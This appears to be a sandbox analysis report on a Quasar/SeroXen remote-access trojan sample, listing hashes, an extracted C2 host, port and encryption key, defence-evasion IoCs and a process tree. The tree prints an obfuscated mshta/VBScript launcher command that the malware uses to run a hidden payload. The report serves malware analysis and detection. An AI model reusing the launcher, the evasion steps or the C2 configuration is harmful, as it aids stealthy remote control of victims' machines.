quasar | 0e013c02ca3509f58d26b374a60483ae9fd4470d9dd31fd86db476a143a2cd5b

Analysis

max time kernel
150s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
08/04/2026, 09:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Uni.bat
Size 11.9MB
Sample260408-lnempsex2n
SHA256 0e013c02ca3509f58d26b374a60483ae9fd4470d9dd31fd86db476a143a2cd5b
MD5 62a3f0446d9cf1f52d49809254f7cb95
SHA1 099fc1d31f59b4284f9c7232622f16dc15364e3d
SHA512 b7f1afd1e273a978b04749d6737235056fd79d1fbb3102edbd6d1655fb7d049dfdb5d3785041fe0243aa44d045cacf127e94a1323da0664edf658a2a4d212911
SSDEEP 49152:FCOf0pZFG+xcONsf6hx4SvUnk7ZJDOG8YfJTBxlOuBCKneisu9DHXlwXUgmmdOd9:8
TLSH
T185C6127E4D582D560A08DB2EA5E3185F37FAA94B0316A3F6FA5257077103B65E802F0F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

v3.0.0 | seroxen defense_evasion execution quasar seroxen persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v3.0.0 | SeroXen

typecvd.chickenkiller.com:4780

Mutex

9f9f3a98-1ee3-45b4-9cfa-b6154f1edfa8

Attributes

encryption_key
699D261E2A7B0463FCEAAD043442491E0BA68247
install_name
.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
$sxr-Logs
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/5280-63-0x0000022600010000-0x000002260080A000-memory.dmp	family_quasar

Seroxen family
seroxen
Seroxen, Ser0xen
Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.
trojan seroxen

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4972	powershell.exe

Deletes itself 1 IoCs

pid	Process
4972	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
5996	$sxr-mshta.exe
1112	$sxr-cmd.exe
5280	$sxr-powershell.exe
5612	$sxr-cmd.exe
5288	$sxr-powershell.exe

Impair Defenses: Safe Mode Boot 1 TTPs 64 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\InstallService\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\mvumis\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\cdrom	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\fastfat\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\nvdimm	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\RpcLocator	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SharedAccess	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SpbCx\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TroubleshootingSvc\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TSDDD\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\bthserv\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iaLPSS2i_I2C_GLK\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\nvstor\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ReFSv1	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\wbengine	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\DmEnrollmentSvc\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\PNRPAutoReg	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ShellHWDetection\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\srvnet\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\udfs	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WpdUpFltr	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UcmUcsiAcpiClient\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\amdsbs	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\BasicDisplay	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\bcmfn2\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\HTTP	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\USBXHCI	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ADOVMPPackage	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\BTHPORT\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\PerfProc\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WmiApRpl	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\HidIr\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\RasAgileVpn\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\RTL8023x64	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\spaceparser	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TrustedInstaller	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\usbaudio2\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\LanmanWorkstation	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\nsi\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\StateRepository	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\.NET CLR Networking 4.0.0.0\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\diagsvc	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iaLPSSi_GPIO	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\RpcSs	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TimeBrokerSvc\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UmPass\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\vsmraid	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ReFSv1\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TrkWks	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WinSock2	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ADP80XX	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\CaptureService\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\FDResPub\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ldap	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Ndu	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\NgcCtnrSvc	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\NPSMSvc	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\rdyboost\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\CDPSvc\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\LSM	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\mouclass	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\NetAdapterCx	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\PushToInstall\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\storahci\ = "Service"	powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Hide Artifacts: Hidden Window 1 TTPs 3 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
5280	$sxr-powershell.exe
5612	$sxr-cmd.exe
5288	$sxr-powershell.exe

ConfuserEx .NET packer 2 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral2/memory/4972-11-0x0000026ADD520000-0x0000026ADDDB8000-memory.dmp	ConfuserEx
behavioral2/memory/5280-59-0x000002267EEA0000-0x000002267F4B0000-memory.dmp	ConfuserEx

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-mshta.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	powershell.exe
File created	C:\Windows\$sxr-cmd.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	powershell.exe
File created	C:\Windows\$sxr-powershell.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Modifies data under HKEY_USERS 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 08 Apr 2026 09:42:07 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={1D683F4E-F5F9-44B7-AD3C-DBD72FB72207}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1775641325"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5288	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5288	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5288	$sxr-powershell.exe
5288	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe
5280	$sxr-powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3112	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	5280	$sxr-powershell.exe
Token: SeDebugPrivilege	5280	$sxr-powershell.exe
Token: SeDebugPrivilege	5280	$sxr-powershell.exe
Token: SeDebugPrivilege	5288	$sxr-powershell.exe
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2692	svchost.exe
Token: SeIncreaseQuotaPrivilege	2692	svchost.exe
Token: SeSecurityPrivilege	2692	svchost.exe
Token: SeTakeOwnershipPrivilege	2692	svchost.exe
Token: SeLoadDriverPrivilege	2692	svchost.exe
Token: SeSystemtimePrivilege	2692	svchost.exe
Token: SeBackupPrivilege	2692	svchost.exe
Token: SeRestorePrivilege	2692	svchost.exe
Token: SeShutdownPrivilege	2692	svchost.exe
Token: SeSystemEnvironmentPrivilege	2692	svchost.exe
Token: SeUndockPrivilege	2692	svchost.exe
Token: SeManageVolumePrivilege	2692	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2692	svchost.exe
Token: SeIncreaseQuotaPrivilege	2692	svchost.exe
Token: SeSecurityPrivilege	2692	svchost.exe
Token: SeTakeOwnershipPrivilege	2692	svchost.exe
Token: SeLoadDriverPrivilege	2692	svchost.exe
Token: SeSystemtimePrivilege	2692	svchost.exe
Token: SeBackupPrivilege	2692	svchost.exe
Token: SeRestorePrivilege	2692	svchost.exe
Token: SeShutdownPrivilege	2692	svchost.exe
Token: SeSystemEnvironmentPrivilege	2692	svchost.exe
Token: SeUndockPrivilege	2692	svchost.exe
Token: SeManageVolumePrivilege	2692	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2692	svchost.exe
Token: SeIncreaseQuotaPrivilege	2692	svchost.exe
Token: SeSecurityPrivilege	2692	svchost.exe
Token: SeTakeOwnershipPrivilege	2692	svchost.exe
Token: SeLoadDriverPrivilege	2692	svchost.exe
Token: SeSystemtimePrivilege	2692	svchost.exe
Token: SeBackupPrivilege	2692	svchost.exe
Token: SeRestorePrivilege	2692	svchost.exe
Token: SeShutdownPrivilege	2692	svchost.exe
Token: SeSystemEnvironmentPrivilege	2692	svchost.exe
Token: SeUndockPrivilege	2692	svchost.exe
Token: SeManageVolumePrivilege	2692	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2692	svchost.exe
Token: SeIncreaseQuotaPrivilege	2692	svchost.exe
Token: SeSecurityPrivilege	2692	svchost.exe
Token: SeTakeOwnershipPrivilege	2692	svchost.exe
Token: SeLoadDriverPrivilege	2692	svchost.exe
Token: SeSystemtimePrivilege	2692	svchost.exe
Token: SeBackupPrivilege	2692	svchost.exe
Token: SeRestorePrivilege	2692	svchost.exe
Token: SeShutdownPrivilege	2692	svchost.exe
Token: SeSystemEnvironmentPrivilege	2692	svchost.exe
Token: SeUndockPrivilege	2692	svchost.exe
Token: SeManageVolumePrivilege	2692	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2692	svchost.exe
Token: SeIncreaseQuotaPrivilege	2692	svchost.exe
Token: SeSecurityPrivilege	2692	svchost.exe
Token: SeTakeOwnershipPrivilege	2692	svchost.exe
Token: SeLoadDriverPrivilege	2692	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5280	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5944 wrote to memory of 788	5944	cmd.exe	80
PID 5944 wrote to memory of 4972	5944	cmd.exe	81
PID 5996 wrote to memory of 1112	5996	$sxr-mshta.exe	84
PID 1112 wrote to memory of 3424	1112	$sxr-cmd.exe	86
PID 1112 wrote to memory of 5280	1112	$sxr-cmd.exe	87
PID 5280 wrote to memory of 644	5280	$sxr-powershell.exe	5
PID 5280 wrote to memory of 700	5280	$sxr-powershell.exe	7
PID 5280 wrote to memory of 904	5280	$sxr-powershell.exe	11
PID 5280 wrote to memory of 400	5280	$sxr-powershell.exe	13
PID 5280 wrote to memory of 688	5280	$sxr-powershell.exe	14
PID 5280 wrote to memory of 1004	5280	$sxr-powershell.exe	15
PID 5280 wrote to memory of 1032	5280	$sxr-powershell.exe	16
PID 5280 wrote to memory of 1116	5280	$sxr-powershell.exe	17
PID 5280 wrote to memory of 1204	5280	$sxr-powershell.exe	19
PID 5280 wrote to memory of 1240	5280	$sxr-powershell.exe	20
PID 5280 wrote to memory of 1252	5280	$sxr-powershell.exe	21
PID 5280 wrote to memory of 1268	5280	$sxr-powershell.exe	22
PID 5280 wrote to memory of 1404	5280	$sxr-powershell.exe	23
PID 5280 wrote to memory of 1412	5280	$sxr-powershell.exe	24
PID 5280 wrote to memory of 1484	5280	$sxr-powershell.exe	25
PID 5280 wrote to memory of 1564	5280	$sxr-powershell.exe	26
PID 5280 wrote to memory of 1620	5280	$sxr-powershell.exe	27
PID 5280 wrote to memory of 1680	5280	$sxr-powershell.exe	28
PID 5280 wrote to memory of 1704	5280	$sxr-powershell.exe	29
PID 5280 wrote to memory of 1824	5280	$sxr-powershell.exe	30
PID 5280 wrote to memory of 1888	5280	$sxr-powershell.exe	31
PID 5280 wrote to memory of 1924	5280	$sxr-powershell.exe	32
PID 5280 wrote to memory of 1944	5280	$sxr-powershell.exe	33
PID 5280 wrote to memory of 1984	5280	$sxr-powershell.exe	34
PID 5280 wrote to memory of 1992	5280	$sxr-powershell.exe	35
PID 5280 wrote to memory of 2004	5280	$sxr-powershell.exe	36
PID 5280 wrote to memory of 1508	5280	$sxr-powershell.exe	37
PID 5280 wrote to memory of 1920	5280	$sxr-powershell.exe	38
PID 5280 wrote to memory of 2120	5280	$sxr-powershell.exe	39
PID 5280 wrote to memory of 2176	5280	$sxr-powershell.exe	41
PID 5280 wrote to memory of 2552	5280	$sxr-powershell.exe	42
PID 5280 wrote to memory of 2560	5280	$sxr-powershell.exe	43
PID 5280 wrote to memory of 2572	5280	$sxr-powershell.exe	44
PID 5280 wrote to memory of 2592	5280	$sxr-powershell.exe	45
PID 5280 wrote to memory of 2680	5280	$sxr-powershell.exe	47
PID 5280 wrote to memory of 2692	5280	$sxr-powershell.exe	48
PID 5280 wrote to memory of 2708	5280	$sxr-powershell.exe	49
PID 5280 wrote to memory of 2868	5280	$sxr-powershell.exe	50
PID 5280 wrote to memory of 2340	5280	$sxr-powershell.exe	51
PID 5280 wrote to memory of 2660	5280	$sxr-powershell.exe	52
PID 5280 wrote to memory of 3112	5280	$sxr-powershell.exe	53
PID 5280 wrote to memory of 3232	5280	$sxr-powershell.exe	54
PID 5280 wrote to memory of 3288	5280	$sxr-powershell.exe	55
PID 5280 wrote to memory of 3608	5280	$sxr-powershell.exe	58
PID 5280 wrote to memory of 3660	5280	$sxr-powershell.exe	59
PID 5280 wrote to memory of 3712	5280	$sxr-powershell.exe	60
PID 5280 wrote to memory of 3784	5280	$sxr-powershell.exe	61
PID 5280 wrote to memory of 3988	5280	$sxr-powershell.exe	62
PID 5280 wrote to memory of 4100	5280	$sxr-powershell.exe	63
PID 5280 wrote to memory of 6036	5280	$sxr-powershell.exe	66
PID 5280 wrote to memory of 4656	5280	$sxr-powershell.exe	67
PID 5280 wrote to memory of 5776	5280	$sxr-powershell.exe	68
PID 5280 wrote to memory of 1912	5280	$sxr-powershell.exe	70
PID 5280 wrote to memory of 3512	5280	$sxr-powershell.exe	71
PID 5280 wrote to memory of 2772	5280	$sxr-powershell.exe	72
PID 5280 wrote to memory of 5184	5280	$sxr-powershell.exe	73
PID 5280 wrote to memory of 2756	5280	$sxr-powershell.exe	75
PID 5280 wrote to memory of 3120	5280	$sxr-powershell.exe	76
PID 5280 wrote to memory of 5944	5280	$sxr-powershell.exe	78

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1004

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:700

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-21144b84-1899-47ae-ad2c-2f95f963dc2e -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d4171899-1afa-4d27-b029-c14bcb8eaf60 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-27e8ed0e-d4cd-4db6-b579-503b8156bc1c -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-8c69c188-bf5f-42c2-85ed-c8ced003b96b -LifetimeId:34ecc275-0d00-48b7-b6ff-922d29b0c516 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1204
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-EuNdGLUHFlArpBxdiXIN4312:XEiLAGix=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-EuNdGLUHFlArpBxdiXIN4312:XEiLAGix=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2752
  - - C:\Windows\system32\cmd.exe
